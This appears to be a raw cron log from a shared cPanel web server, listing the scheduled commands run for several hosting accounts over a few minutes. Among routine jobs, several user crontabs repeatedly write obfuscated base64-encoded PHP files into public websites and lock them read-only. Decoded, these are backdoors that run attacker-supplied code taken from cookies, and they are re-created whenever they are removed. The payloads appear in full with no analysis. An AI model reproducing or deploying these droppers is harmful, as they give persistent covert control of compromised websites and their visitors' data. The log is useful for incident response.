Jun  7 11:16:01 medusa CROND[3379]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:16:01 medusa CROND[3377]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:16:01 medusa CROND[3378]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 11:16:01 medusa CROND[3382]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 11:16:01 medusa CROND[3386]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 11:16:01 medusa CROND[3384]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:16:01 medusa CROND[3388]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:16:01 medusa CROND[3389]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 11:16:01 medusa CROND[3390]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 11:17:01 medusa CROND[5024]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 11:17:01 medusa CROND[5031]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:17:01 medusa CROND[5032]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 11:17:01 medusa CROND[5033]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 11:17:01 medusa CROND[5034]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Jun  7 11:17:01 medusa CROND[5035]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 11:17:01 medusa CROND[5036]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 11:17:01 medusa CROND[5038]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 11:17:01 medusa CROND[5041]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:17:01 medusa CROND[5045]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:17:01 medusa CROND[5043]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 11:17:01 medusa CROND[5048]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:17:01 medusa CROND[5046]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 11:18:01 medusa CROND[6608]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 11:18:01 medusa CROND[6610]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 11:18:01 medusa CROND[6609]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 11:18:01 medusa CROND[6611]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:18:01 medusa CROND[6612]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:18:01 medusa CROND[6614]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 11:18:01 medusa CROND[6613]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
